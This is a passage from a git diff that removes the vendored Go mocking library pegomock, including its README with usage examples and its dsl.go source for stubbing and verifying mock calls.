or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/petergtz/pegomock/README.md b/vendor/github.com/petergtz/pegomock/README.md deleted file mode 100644 index 56e30dcb04..0000000000 --- a/vendor/github.com/petergtz/pegomock/README.md +++ /dev/null @@ -1,579 +0,0 @@ -[![Build Status](https://travis-ci.org/petergtz/pegomock.svg?branch=master)](https://travis-ci.org/petergtz/pegomock) - -PegoMock is a mocking framework for the [Go programming language](http://golang.org/). It integrates well with Go's built-in `testing` package, but can be used in other contexts too. It is based on [golang/mock](https://github.com/golang/mock), but uses a DSL closely related to [Mockito](http://site.mockito.org/mockito/docs/current/org/mockito/Mockito.html). - -Getting Pegomock -================ - -Just `go get` it: - -``` -go get github.com/petergtz/pegomock/... -``` - -This will download the package and install an executable `pegomock` in your `$GOPATH/bin`. - -See also section[Tracking the pegomock tool in your project](#tracking-the-pegomock-tool-in-your-project) for a per-project control of the tool version. - -Getting Started -=============== - -Using Pegomock with Golang’s XUnit-style Tests ----------------------------------------------- - -The preferred way is: - -```go -import ( - "github.com/petergtz/pegomock" - "testing" -) - -func TestUsingMocks(t *testing.T) { - mock := NewMockPhoneBook(pegomock.WithT(t)) - - // use your mock here -} -``` - - -Alternatively, you can set a global fail handler within your test: - -```go -func TestUsingMocks(t *testing.T) { - pegomock.RegisterMockTestingT(t) - - mock := NewMockPhoneBook() - - // use your mock here -} -``` -**Note:** In this case, Pegomock uses a global (singleton) fail handler. This has the benefit that you don’t need to pass the fail handler down to each test, but does mean that you cannot run your XUnit style tests in parallel with Pegomock. - -If you configure both a global fail handler and a specific one for your mock, the specific one overrides the global fail handler. - -Using Pegomock with Ginkgo --------------------------- - -When a Pegomock verification fails, it calls a `FailHandler`. This is a function that you must provide using `pegomock.RegisterMockFailHandler()`. - -If you’re using [Ginkgo](http://onsi.github.io/ginkgo/), all you need to do is: - -```go -pegomock.RegisterMockFailHandler(ginkgo.Fail) -``` - -before you start your test suite. - -### Avoiding Ginkgo Naming Collision with `When` Function - -Ginkgo introduced a new keyword in its DSL: `When`. This causes name collisions when dot-importing both Ginkgo and Pegomock. To avoid this, you can use a different dot-import for Pegomock which uses `Whenever` instead of `When`. Example: - -```go -package some_test - -import ( - . "github.com/onsi/ginkgo" - . "github.com/petergtz/pegomock/ginkgo_compatible" -) - -var _ = Describe("Some function", func() { - When("certain condition", func() { - It("succeeds", func() { - mock := NewMockPhoneBook() - Whenever(mock.GetPhoneNumber(EqString("Tom"))).ThenReturn("123-456-789") - }) - }) -}) -``` - -Generating Your First Mock and Using It ---------------------------------------- - -Let's assume you have: - -```go -type Display interface { - Show(text string) -} -``` - -The simplest way is to call `pegomock` from within your go package specifying the interface by its name: - -``` -cd path/to/package -pegomock generate Display -``` - -This will generate a `mock_display_test.go` file which you can now use in your tests: - -```go -// creating mock -display := NewMockDisplay() - -// using the mock -display.Show("Hello World!") - -// verifying -display.VerifyWasCalledOnce().Show("Hello World!") -``` - -Why yet Another Mocking Framework for Go? -========================================= - -I've looked at some of the other frameworks, but found none of them satisfying: -- [GoMock](https://github.com/golang/mock) seemed overly complicated when setting up mocks and verifying them. The command line interface is also not quite intuitive. That said, Pegomock is based on the GoMock, reusing mostly the mockgen code. -- [Counterfeiter](https://github.com/maxbrunsfeld/counterfeiter) uses a DSL that I didn't find expressive enough. It often seems to need more lines of code too. In one of its samples, it uses e.g.: - - ```go - fake.DoThings("stuff", 5) - Expect(fake.DoThingsCallCount()).To(Equal(1)) - - str, num := fake.DoThingsArgsForCall(0) - Expect(str).To(Equal("stuff")) - Expect(num).To(Equal(uint64(5))) - ``` - - In Pegomock, this can be written as simple as: - - ```go - fake.DoThings("stuff", 5) - fake.VerifyWasCalledOnce().DoThings("stuff", 5) - ``` -- [Hel](https://github.com/nelsam/hel) uses a new and interesting approach to setting up and verifying mocks. However, I wonder how flexible it actually is. E.g. how about providing a callback function when stubbing? Can this be modeled with its current approach using channels? - -In addition, Pegomock provides a "watch" command similar to [Ginkgo](http://onsi.github.io/ginkgo/), which constantly watches over changes in an interface and updates its mocks. It gives the framework a much more dynamic feel, similar to mocking frameworks in Ruby or Java. - -Using Mocks In Your Tests -========================= - -Verifying Behavior ------------------- - -Interface: - -```go -type Display interface { - Show(text string) -} -``` - -Test: - -```go -// creating mock: -display := NewMockDisplay() - -// using the mock: -display.Show("Hello World!") - -// verifying: -display.VerifyWasCalledOnce().Show("Hello World!") -``` - -Stubbing --------- - -Interface: - -```go -type PhoneBook interface { - GetPhoneNumber(name string) string -} -``` - -Test: - -```go -// creating the mock -phoneBook := NewMockPhoneBook() - -// stubbing: -When(phoneBook.GetPhoneNumber("Tom")).ThenReturn("345-123-789") -When(phoneBook.GetPhoneNumber("Invalid")).ThenPanic("Invalid Name") - -// prints "345-123-789": -fmt.Println(phoneBook.GetPhoneNumber("Tom")) - -// panics: -fmt.Println(phoneBook.GetPhoneNumber("Invalid")) - -// prints "", because GetPhoneNumber("Dan") was not stubbed -fmt.Println(phoneBook.GetPhoneNumber("Dan")) - -// Although it is possible to verify a stubbed invocation, usually it's redundant -// If your code cares what GetPhoneNumber("Tom") returns, then something else breaks (often even before a verification gets executed). -// If your code doesn't care what GetPhoneNumber("Tom") returns, then it should not be stubbed. - -// Not convinced? See http://monkeyisland.pl/2008/04/26/asking-and-telling. -phoneBook.VerifyWasCalledOnce().GetPhoneNumber("Tom") -``` - -- By default, for all methods that return a value, a mock will return zero values. -- Once stubbed, the method will always return a stubbed value, regardless of how many times it is called. -- `ThenReturn` supports chaining, i.e. `ThenReturn(...).ThenReturn(...)` etc. The mock will return the values in the same order the chaining was done. The values from the last `ThenReturn` will be returned indefinitely when the number of call exceeds the `ThenReturn`s. - -Stubbing Functions That Have no Return Value --------------------------------------------- - -Stubbing functions that have no return value requires a slightly different approach, because such functions cannot be passed directly to another function. However, we can wrap them in an anonymous function: - -```go -// creating mock: -display := NewMockDisplay() - -// stubbing -When(func() { display.Show("Hello World!") }).ThenPanic("Panicking") - -// panics: -display.Show("Hello World!") -``` - -Argument Matchers ------------------ - -Pegomock provides matchers for stubbing and verification. - -Verification: - -```go -display := NewMockDisplay() - -// Calling mock -display.Show("Hello again!") - -// Verification: -display.VerifyWasCalledOnce().Show(AnyString()) -``` - -Stubbing: - -```go -phoneBook := NewMockPhoneBook() - -// Stubbing: -When(phoneBook.GetPhoneNumber(AnyString())).ThenReturn("123-456-789") - -// Prints "123-456-789": -fmt.Println(phoneBook.GetPhoneNumber("Dan")) -// Also prints "123-456-789": -fmt.Println(phoneBook.GetPhoneNumber("Tom")) -``` - -**Important**: When you use argument matchers, you must always use them for all arguments: - -```go -// Incorrect, panics: -When(contactList.getContactByFullName("Dan", AnyString())).thenReturn(Contact{...}) -// Correct: -When(contactList.getContactByFullName(EqString("Dan"), AnyString())).thenReturn(Contact{...}) -``` - -### Writing Your Own Argument Matchers - -**Important:** `Eq...` and `Any...` matchers for types used in mock methods, can now be _auto-generated_ while generating the mock. So writing your own argument matchers is not necessary for most use cases. See section [The Pegomock CLI](#generating-mocks) for more information. - -You can also write your own matchers for non-basic types. E.g. if you have a `struct MyType`, you can write an _Equals_ and _Any_ matcher like this: -```go -func EqMyType(value MyType) MyType { - RegisterMatcher(&EqMatcher{Value: value}) - return MyType{} -} - -func AnyMyType() MyType { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf(MyType{}))) - return MyType{} -} -``` - - -Verifying the Number of Invocations ------------------------------------ - -```go -display := NewMockDisplay() - -// Calling mock -display.Show("Hello") -display.Show("Hello, again") -display.Show("And again") - -// Verification: -display.VerifyWasCalled(Times(3)).Show(AnyString()) -// or: -display.VerifyWasCalled(AtLeast(3)).Show(AnyString()) -// or: -display.VerifyWasCalled(Never()).Show("This one was never called") -``` - -Verifying in Order ------------------- - -```go -display1 := NewMockDisplay() -display2 := NewMockDisplay() - -// Calling mocks -display1.Show("One") -display1.Show("Two") -display2.Show("Another two") -display1.Show("Three") - -// Verification: -inOrderContext := new(InOrderContext) -display1.VerifyWasCalledInOrder(Once(), inOrderContext).Show("One") -display2.VerifyWasCalledInOrder(Once(), inOrderContext).Show("Another two") -display1.VerifyWasCalledInOrder(Once(), inOrderContext).Show("Three") -``` - -Note that it's not necessary to verify the call for `display.Show("Two")` if that one is not of any interested. An `InOrderContext` only verifies that the verifications that are done, are in order. - -Stubbing with Callbacks ------------------------- - -```go -phoneBook := NewMockPhoneBook() - -// Stubbing: -When(phoneBook.GetPhoneNumber(AnyString())).Then(func(params []Param) ReturnValues { - return []ReturnValue{fmt.Sprintf("1-800-CALL-%v", strings.ToUpper(params[0]))} -}, - - -// Prints "1-800-CALL-DAN": -fmt.Println(phoneBook.GetPhoneNumber("Dan")) -// Prints "1-800-CALL-TOM": -fmt.Println(phoneBook.GetPhoneNumber("Tom")) -``` - - -Verifying with Argument Capture --------------------------------- - -In some cases it can be useful to capture the arguments from mock invocations and assert on them separately. This method is only recommended if the techniques using matchers are not sufficient. - -```go -display := NewMockDisplay() - -// Calling mock -display.Show("Hello") -display.Show("Hello, again") -display.Show("And again") - -// Verification and getting captured arguments -text := display.VerifyWasCalled(AtLeast(1)).Show(AnyString()).GetCapturedArguments() - -// Captured arguments are from last invocation -Expect(text).To(Equal("And again")) -``` - -You can also get all captured arguments: - -```go -// Verification and getting all captured arguments -texts := display.VerifyWasCalled(AtLeast(1)).Show(AnyString()).GetAllCapturedArguments() - -// Captured arguments are a slice -Expect(texts).To(ConsistOf("Hello", "Hello, again", "And again")) -``` - -Verifying with Asynchronous Mock Invocations --------------------------------------------- - -When the code exercising the mock is run as part of a Goroutine, it's necessary to verify in a polling fashion until a timeout kicks in. `VerifyWasCalledEventually` can help here: -```go -display := NewMockDisplay() - -go func() { - doSomething() - display.Show("Hello") -}() - -display.VerifyWasCalledEventually(Once(), 2*time.Second).Show("Hello") -``` - - -The Pegomock CLI -================ - -Installation ------------- - -Install it via: - -``` -go install github.com/petergtz/pegomock/pegomock -``` - -Tracking the pegomock tool in your project ------------------------------------------- - -Go modules allow to pin not only a package but also a tool (that is, an executable). The steps are: - -1. Use a file named `tools.go` with contents similar to this: -```go -// +build tools - -// This file will never be compiled (see the build constraint above); it is -// used to record dependencies on build tools with the Go modules machinery. -// See https://github.com/go-modules-by-example/index/blob/master/010_tools/README.md - -package tools - -import ( - _ "github.com/petergtz/pegomock/pegomock" -) -``` -2. Set `$GOBIN` to a `bin` directory relative to your repo (this defines where tool dependencies will be installed). -2. Install the tool with `go install`: -```console -$ cd /path/to/myproject -$ export GOBIN=$PWD/bin -$ go install github.com/petergtz/pegomock/pegomock -``` -3. Use that `$GOBIN` when invoking `pegomock` for that project: -```console -$ $GOBIN/pegomock ... -``` -or -```console -$ export PATH=$GOBIN:$PATH -$ pegomock ... -``` - -See [Tools as dependencies] for details. - -[Tools as dependencies]: https://github.com/go-modules-by-example/index/blob/master/010_tools/README.md - -Generating Mocks ----------------- - -Pegomock can generate mocks in two different ways: - -1. by parsing source code Go files - - ``` - pegomock generate [] - ``` - -2. by building a Go package and using reflection - - ``` - pegomock generate [] [] - ``` - -Flags can be any of the following: - -- `--output,-o`: Output file; defaults to mock__test.go. - -- `--package`: Package of the generated code; defaults to the package from which pegomock was executed suffixed with _test - -- `--generate-matchers,-m`: This will auto-generate argument matchers and place them in a `matchers` directory alongside the mock source code itself. - -For more flags, run: - -``` -pegomock --help -``` - -Generating Mocks with `--use-experimental-model-gen` ----------------------------------------------------- - -There are a number of shortcomings in the current reflection-based implementation. -To overcome these, there is now an option to use a new, experimental implementation that is based on [golang.org/x/tools/go/loader](https://godoc.org/golang.org/x/tools/go/loader). -To use it when generating your mocks, invoke `pegomock` like this: - -``` -pegomock generate --use-experimental-model-gen [] [] -``` - -What are the benefits? -- The current default uses the [reflect](https://golang.org/pkg/reflect/) package to introspect the interface for which a mock should be generated. But reflection cannot determine method parameter names, only types. This forces the generator to generate them based on a pattern. In a code editor with code assistence, those pattern-based names (such as `_param0`, `_param1`) are non-descriptive and provide less help while writing code. The new implementation properly parses the source (including *all* dependent packages) and subsequently uses the same names as used in the interface definition. -- With the current default you cannot generate an interface that lives in the `main` package. It's due to the way this implementation works: it imports the interface's package into temporarily generated code that gets compiled on the fly. This compilation fails, because there are now two `main` functions. -- The new implementation is simpler and will probably become the default in the future, because it will be easier to maintain. - -What are the drawbacks? -- There is only one drawback: maturity. The new implementation is not complete yet, and also might have some bugs that still need to be fixed. - -Users of Pegomock are encouraged to use this new option and report any problems by [opening an issue](https://github.com/petergtz/pegomock/issues/new). Help to stabilize it is greatly appreciated. - -Generating mocks with `go generate` ----------------------------------- - -`pegomock` can be used with `go generate`. Simply add the directive to your source file. - -Here's an example for a Display interface used by a calculator program: - -```go -// package/path/to/display/display.go - -package display - -type Display interface { - Show(text string) -} -``` - -```go -// package/path/to/calculator/calculator_test.go - -package calculator_test - -//go:generate pegomock generate package/path/to/display Display - -// Use generated mock -mockDisplay := NewMockDisplay() -... -``` - -Generating it: -```sh -cd package/path/to/calculator -go generate -``` - -**Note:** While you could add the directive adjacent to the interface definition, the author's opinion is that this violates clean dependency management and would pollute the package of the interface. -It's better to generate the mock in the same package, where it is used (if this coincides with the interface package, that's fine). That way, not only stays the interface's package clean, the tests also don't need to prefix the mock with a package, or use a dot-import. - -Continuously Generating Mocks ------------------------------ - -The `watch` command lets Pegomock generate mocks continuously on every change to an interface: - -``` -pegomock watch -``` - -For this, Pegomock expects an `interfaces_to_mock` file in the package directory where the mocks should be generated. In fact, `pegomock watch` will create it for you if it doesn't exist yet. The contents of the file are similar to the ones of the `generate` command: - -``` -# Any line starting with a # is treated as comment. - -# interface name without package specifies an Interface in the current package: -PhoneBook - - # generates a mock for SomeInterfacetaken from mypackage: -path/to/my/mypackage SomeInterface - -# you can also specify a Go file: -display.go - -# and use most of the flags from the "generate" command ---output my_special_output.go MyInterface -``` - -Flags can be: - -- `--recursive,-r`: Recursively watch sub-directories as well. - -Removing Generated Mocks ------------------------------ - -Sometimes it can be useful to systematically remove all mocks and matcher files generated by Pegomock. For this purpose, there is the `remove` command. By simply calling it from the current directory -``` -pegomock remove -``` -it will remove all Pegomock-generated files in the current directory. It supports additional flags, such as `--recursive` to recursively remove all Pegomock-generated files in sub-directories as well. To see all possible options, run: -``` -pegomock remove --help -``` diff --git a/vendor/github.com/petergtz/pegomock/_config.yml b/vendor/github.com/petergtz/pegomock/_config.yml deleted file mode 100644 index c4192631f2..0000000000 --- a/vendor/github.com/petergtz/pegomock/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-cayman \ No newline at end of file diff --git a/vendor/github.com/petergtz/pegomock/dsl.go b/vendor/github.com/petergtz/pegomock/dsl.go deleted file mode 100644 index 09a8ab3209..0000000000 --- a/vendor/github.com/petergtz/pegomock/dsl.go +++ /dev/null @@ -1,572 +0,0 @@ -// Copyright 2015 Peter Goetz -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package pegomock - -import ( - "bytes" - "fmt" - "reflect" - "sort" - "sync" - "testing" - "time" - - "github.com/onsi/gomega/format" - "github.com/petergtz/pegomock/internal/verify" -) - -var GlobalFailHandler FailHandler - -func RegisterMockFailHandler(handler FailHandler) { - GlobalFailHandler = handler -} -func RegisterMockTestingT(t *testing.T) { - RegisterMockFailHandler(BuildTestingTFailHandler(t)) -} - -var ( - lastInvocation *invocation - lastInvocationMutex sync.Mutex -) - -var globalArgMatchers Matchers - -func RegisterMatcher(matcher Matcher) { - globalArgMatchers.append(matcher) -} - -type invocation struct { - genericMock *GenericMock - MethodName string - Params []Param - ReturnTypes []reflect.Type -} - -type GenericMock struct { - sync.Mutex - mockedMethods map[string]*mockedMethod - fail FailHandler -} - -func (genericMock *GenericMock) Invoke(methodName string, params []Param, returnTypes []reflect.Type) ReturnValues { - lastInvocationMutex.Lock() - lastInvocation = &invocation{ - genericMock: genericMock, - MethodName: methodName, - Params: params, - ReturnTypes: returnTypes, - } - lastInvocationMutex.Unlock() - return genericMock.getOrCreateMockedMethod(methodName).Invoke(params) -} - -func (genericMock *GenericMock) stub(methodName string, paramMatchers []Matcher, returnValues ReturnValues) { - genericMock.stubWithCallback(methodName, paramMatchers, func([]Param) ReturnValues { return returnValues }) -} - -func (genericMock *GenericMock) stubWithCallback(methodName string, paramMatchers []Matcher, callback func([]Param) ReturnValues) { - genericMock.getOrCreateMockedMethod(methodName).stub(paramMatchers, callback) -} - -func (genericMock *GenericMock) getOrCreateMockedMethod(methodName string) *mockedMethod { - genericMock.Lock() - defer genericMock.Unlock() - if _, ok := genericMock.mockedMethods[methodName]; !ok { - genericMock.mockedMethods[methodName] = &mockedMethod{name: methodName} - } - return genericMock.mockedMethods[methodName] -} - -func (genericMock *GenericMock) reset(methodName string, paramMatchers []Matcher) { - genericMock.getOrCreateMockedMethod(methodName).reset(paramMatchers) -} - -func (genericMock *GenericMock) Verify( - inOrderContext *InOrderContext, - invocationCountMatcher Matcher, - methodName string, - params []Param, - options ...interface{}, -) []MethodInvocation { - var timeout time.Duration - if len(options) == 1 { - timeout = options[0].(time.Duration) - } - if genericMock.fail == nil && GlobalFailHandler == nil { - panic("No FailHandler set. Please use either RegisterMockFailHandler or RegisterMockTestingT or TODO to set a fail handler.") - } - fail := GlobalFailHandler - if genericMock.fail != nil { - fail = genericMock.fail - } - defer func() { globalArgMatchers = nil }() // We don't want a panic somewhere during verification screw our global argMatchers - - if len(globalArgMatchers) != 0 { - verifyArgMatcherUse(globalArgMatchers, params) - } - startTime := time.Now() - // timeoutLoop: - for { - genericMock.Lock() - methodInvocations := genericMock.methodInvocations(methodName, params, globalArgMatchers) - genericMock.Unlock() - if inOrderContext != nil { - for _, methodInvocation := range methodInvocations { - if methodInvocation.orderingInvocationNumber <= inOrderContext.invocationCounter { - // TODO: should introduce the following, in case we decide support "inorder" and "eventually" - // if time.Since(startTime) < timeout { - // continue timeoutLoop - // } - fail(fmt.Sprintf("Expected function call %v(%v) before function call %v(%v)", - methodName, formatParams(params), inOrderContext.lastInvokedMethodName, formatParams(inOrderContext.lastInvokedMethodParams))) - } - inOrderContext.invocationCounter = methodInvocation.orderingInvocationNumber - inOrderContext.lastInvokedMethodName = methodName - inOrderContext.lastInvokedMethodParams = params - } - } - if !invocationCountMatcher.Matches(len(methodInvocations)) { - if time.Since(startTime) < timeout { - time.Sleep(10 * time.Millisecond) - continue - } - var paramsOrMatchers interface{} = formatParams(params) - if len(globalArgMatchers) != 0 { - paramsOrMatchers = formatMatchers(globalArgMatchers) - } - timeoutInfo := "" - if timeout > 0 { - timeoutInfo = fmt.Sprintf(" after timeout of %v", timeout) - } - fail(fmt.Sprintf( - "Mock invocation count for %v(%v) does not match expectation%v.\n\n\t%v\n\n\t%v", - methodName, paramsOrMatchers, timeoutInfo, invocationCountMatcher.FailureMessage(), formatInteractions(genericMock.allInteractions()))) - } - return methodInvocations - } -} - -// TODO this doesn't need to be a method, can be a free function -func (genericMock *GenericMock) GetInvocationParams(methodInvocations []MethodInvocation) [][]Param { - if len(methodInvocations) == 0 { - return nil - } - result := make([][]Param, len(methodInvocations[len(methodInvocations)-1].params)) - for i, invocation := range methodInvocations { - for u, param := range invocation.params { - if result[u] == nil { - result[u] = make([]Param, len(methodInvocations)) - } - result[u][i] = param - } - } - return result -} - -func (genericMock *GenericMock) methodInvocations(methodName string, params []Param, matchers []Matcher) []MethodInvocation { - var invocations []MethodInvocation - if method, exists := genericMock.mockedMethods[methodName]; exists { - method.Lock() - for _, invocation := range method.invocations { - if len(matchers) != 0 { - if Matchers(matchers).Matches(invocation.params) { - invocations = append(invocations, invocation) - } - } else { - if reflect.DeepEqual(params, invocation.params) || - (len(params) == 0 && len(invocation.params) == 0) { - invocations = append(invocations, invocation) - } - } - } - method.Unlock() - } - return invocations -} - -func formatInteractions(interactions map[string][]MethodInvocation) string { - if len(interactions) == 0 { - return "There were no other interactions with this mock" - } - result := "But other interactions with this mock were:\n" - for _, methodName := range sortedMethodNames(interactions) { - result += formatInvocations(methodName, interactions[methodName]) - } - return result -} - -func formatInvocations(methodName string, invocations []MethodInvocation) (result string) { - for _, invocation := range invocations { - result += "\t" + methodName + "(" + formatParams(invocation.params) + ")\n" - } - return -} - -func formatParams(params []Param) (result string) { - for i, param := range params { - if i > 0 { - result += ", " - } - result += fmt.Sprintf("%#v", param) - } - return -} - -func formatMatchers(matchers []Matcher) (result string) { - for i, matcher := range matchers { - if i > 0 { - result += ", " - } - result += fmt.Sprintf("%v", matcher) - } - return -} - -func sortedMethodNames(interactions map[string][]MethodInvocation) []string { - methodNames := make([]string, len(interactions)) - i := 0 - for key := range interactions { - methodNames[i] = key - i++ - } - sort.Strings(methodNames) - return methodNames -} - -func (genericMock *GenericMock) allInteractions() map[string][]MethodInvocation { - interactions := make(map[string][]MethodInvocation) - for methodName := range genericMock.mockedMethods { - for _, invocation := range genericMock.mockedMethods[methodName].invocations { - interactions[methodName] = append(interactions[methodName], invocation) - } - } - return interactions -} - -type mockedMethod struct { - sync.Mutex - name string - invocations []MethodInvocation - stubbings Stubbings -} - -func (method *mockedMethod) Invoke(params []Param) ReturnValues { - method.Lock() - method.invocations = append(method.invocations, MethodInvocation{params, globalInvocationCounter.nextNumber()}) - method.Unlock() - stubbing := method.stubbings.find(params) - if stubbing == nil { - return ReturnValues{} - } - return stubbing.Invoke(params) -} - -func (method *mockedMethod) stub(paramMatchers Matchers, callback func([]Param) ReturnValues) { - stubbing := method.stubbings.findByMatchers(paramMatchers) - if stubbing == nil { - stubbing = &Stubbing{paramMatchers: paramMatchers} - method.stubbings = append(method.stubbings, stubbing) - } - stubbing.callbackSequence = append(stubbing.callbackSequence, callback) -} - -func (method *mockedMethod) removeLastInvocation() { - method.invocations = method.invocations[:len(method.invocations)-1] -} - -func (method *mockedMethod) reset(paramMatchers Matchers) { - method.stubbings.removeByMatchers(paramMatchers) -} - -type Counter struct { - count int - sync.Mutex -} - -func (counter *Counter) nextNumber() (nextNumber int) { - counter.Lock() - defer counter.Unlock() - - nextNumber = counter.count - counter.count++ - return -} - -var globalInvocationCounter = Counter{count: 1} - -type MethodInvocation struct { - params []Param - orderingInvocationNumber int -} - -type Stubbings []*Stubbing - -func (stubbings Stubbings) find(params []Param) *Stubbing { - for i := len(stubbings) - 1; i >= 0; i-- { - if stubbings[i].paramMatchers.Matches(params) { - return stubbings[i] - } - } - return nil -} - -func (stubbings Stubbings) findByMatchers(paramMatchers Matchers) *Stubbing { - for _, stubbing := range stubbings { - if matchersEqual(stubbing.paramMatchers, paramMatchers) { - return stubbing - } - } - return nil -} - -func (stubbings *Stubbings) removeByMatchers(paramMatchers Matchers) { - for i, stubbing := range *stubbings { - if matchersEqual(stubbing.paramMatchers, paramMatchers) { - *stubbings = append((*stubbings)[:i], (*stubbings)[i+1:]...) - } - } -} - -func matchersEqual(a, b Matchers) bool { - if len(a) != len(b) { - return false - } - for i := range a { - if !reflect.DeepEqual(a[i], b[i]) { - return false - } - } - return true -} - -type Stubbing struct { - paramMatchers Matchers - callbackSequence []func([]Param) ReturnValues - sequencePointer int -} - -func (stubbing *Stubbing) Invoke(params []Param) ReturnValues { - defer func() { - if stubbing.sequencePointer < len(stubbing.callbackSequence)-1 { - stubbing.sequencePointer++ - } - }() - return stubbing.callbackSequence[stubbing.sequencePointer](params) -} - -type Matchers []Matcher - -func (matchers Matchers) Matches(params []Param) bool { - if len(matchers) != len(params) { // Technically, this is not an error. Variadic arguments can cause this - return false - } - - for i := range params { - if !matchers[i].Matches(params[i]) { - return false - } - } - return true -} - -func (matchers *Matchers) append(matcher Matcher) { - *matchers = append(*matchers, matcher) -} - -type ongoingStubbing struct { - genericMock *GenericMock - MethodName string - ParamMatchers []Matcher - returnTypes []reflect.Type -} - -func When(invocation ...interface{}) *ongoingStubbing { - callIfIsFunc(invocation) - verify.Argument(lastInvocation != nil, - "When() requires an argument which has to be 'a method call on a mock'.") - defer func() { - lastInvocationMutex.Lock() - lastInvocation = nil - lastInvocationMutex.Unlock() - - globalArgMatchers = nil - }() - lastInvocation.genericMock.mockedMethods[lastInvocation.MethodName].removeLastInvocation() - - paramMatchers := paramMatchersFromArgMatchersOrParams(globalArgMatchers, lastInvocation.Params) - lastInvocation.genericMock.reset(lastInvocation.MethodName, paramMatchers) - return &ongoingStubbing{ - genericMock: lastInvocation.genericMock, - MethodName: lastInvocation.MethodName, - ParamMatchers: paramMatchers, - returnTypes: lastInvocation.ReturnTypes, - } -} - -func callIfIsFunc(invocation []interface{}) { - if len(invocation) == 1 { - actualType := actualTypeOf(invocation[0]) - if actualType != nil && actualType.Kind() == reflect.Func && !reflect.ValueOf(invocation[0]).IsNil() { - if !(actualType.NumIn() == 0 && actualType.NumOut() == 0) { - panic("When using 'When' with function that does not return a value, " + - "it expects a function with no arguments and no return value.") - } - reflect.ValueOf(invocation[0]).Call([]reflect.Value{}) - } - } -} - -// Deals with nils without panicking -func actualTypeOf(iface interface{}) reflect.Type { - defer func() { recover() }() - return reflect.TypeOf(iface) -} - -func paramMatchersFromArgMatchersOrParams(argMatchers []Matcher, params []Param) []Matcher { - if len(argMatchers) != 0 { - verifyArgMatcherUse(argMatchers, params) - return argMatchers - } - return transformParamsIntoEqMatchers(params) -} - -func verifyArgMatcherUse(argMatchers []Matcher, params []Param) { - verify.Argument(len(argMatchers) == len(params), - "Invalid use of matchers!\n\n %v matchers expected, %v recorded.\n\n"+ - "This error may occur if matchers are combined with raw values:\n"+ - " //incorrect:\n"+ - " someFunc(AnyInt(), \"raw String\")\n"+ - "When using matchers, all arguments have to be provided by matchers.\n"+ - "For example:\n"+ - " //correct:\n"+ - " someFunc(AnyInt(), EqString(\"String by matcher\"))", - len(params), len(argMatchers), - ) -} - -func transformParamsIntoEqMatchers(params []Param) []Matcher { - paramMatchers := make([]Matcher, len(params)) - for i, param := range params { - paramMatchers[i] = &EqMatcher{Value: param} - } - return paramMatchers -} - -var ( - genericMocksMutex sync.Mutex - genericMocks = make(map[Mock]*GenericMock) -) - -func GetGenericMockFrom(mock Mock) *GenericMock { - genericMocksMutex.Lock() - defer genericMocksMutex.Unlock() - if genericMocks[mock] == nil { - genericMocks[mock] = &GenericMock{ - mockedMethods: make(map[string]*mockedMethod), - fail: mock.FailHandler(), - } - } - return genericMocks[mock] -} - -func (stubbing *ongoingStubbing) ThenReturn(values ...ReturnValue) *ongoingStubbing { - checkAssignabilityOf(values, stubbing.returnTypes) - stubbing.genericMock.stub(stubbing.MethodName, stubbing.ParamMatchers, values) - return stubbing -} - -func checkAssignabilityOf(stubbedReturnValues []ReturnValue, expectedReturnTypes []reflect.Type) { - verify.Argument(len(stubbedReturnValues) == len(expectedReturnTypes), - "Different number of return values") - for i := range stubbedReturnValues { - if stubbedReturnValues[i] == nil { - switch expectedReturnTypes[i].Kind() { - case reflect.Bool, reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Uint, - reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr, reflect.Float32, - reflect.Float64, reflect.Complex64, reflect.Complex128, reflect.Array, reflect.String, - reflect.Struct: - panic("Return value 'nil' not assignable to return type " + expectedReturnTypes[i].Kind().String()) - } - } else { - verify.Argument(reflect.TypeOf(stubbedReturnValues[i]).AssignableTo(expectedReturnTypes[i]), - "Return value of type %T not assignable to return type %v", stubbedReturnValues[i], expectedReturnTypes[i]) - } - } -} - -func (stubbing *ongoingStubbing) ThenPanic(v interface{}) *ongoingStubbing { - stubbing.genericMock.stubWithCallback( - stubbing.MethodName, - stubbing.ParamMatchers, - func([]Param) ReturnValues { panic(v) }) - return stubbing -} - -func (stubbing *ongoingStubbing) Then(callback func([]Param) ReturnValues) *ongoingStubbing { - stubbing.genericMock.stubWithCallback( - stubbing.MethodName, - stubbing.ParamMatchers, - callback) - return stubbing -} - -type InOrderContext struct { - invocationCounter int - lastInvokedMethodName string - lastInvokedMethodParams []Param -} - -// Matcher ... it is guaranteed that FailureMessage will always be called after Matches -// so an implementation can save state -type Matcher interface { - Matches(param Param) bool - FailureMessage() string - fmt.Stringer -} - -func DumpInvocationsFor(mock Mock) { - fmt.Print(SDumpInvocationsFor(mock)) -} - -func SDumpInvocationsFor(mock Mock) string { - result := &bytes.Buffer{} - for _, mockedMethod := range GetGenericMockFrom(mock).mockedMethods { - for _, invocation := range mockedMethod.invocations { - fmt.Fprintf(result, "Method invocation: %v (\n", mockedMethod.name) - for _, param := range invocation.params { - fmt.Fprint(result, format.Object(param, 1), ",\n") - } - fmt.Fprintln(result, ")") - } - } - return result.String() -} - -// InterceptMockFailures runs a given callback and returns an array of -// failure messages generated by any Pegomock verifications within the callback. -// -// This is accomplished by temporarily replacing the *global* fail handler -// with a fail handler that simply annotates failures. The original fail handler -// is reset when InterceptMockFailures returns. -func InterceptMockFailures(f func()) []string { - originalHandler := GlobalFailHandler - failures := []string{} - RegisterMockFailHandler(func(message string, callerSkip ...int) { - failures = append(failures, message) - }) - f() - RegisterMockFailHandler(originalHandler) - return failures -} diff --git a/vendor/github.com/petergtz/pegomock/internal/verify/verify.go b/vendor/github.com/petergtz/pegomock/internal/verify/verify.go deleted file mode 100644 index 0058a696e8..0000000000 --- a/vendor/github.com/petergtz/pegomock/internal/verify/verify.go +++ /dev/null @@ -1,9 +0,0 @@ -package verify - -import "fmt" - -func Argument(arg bool, message string, a ...interface{}) { - if 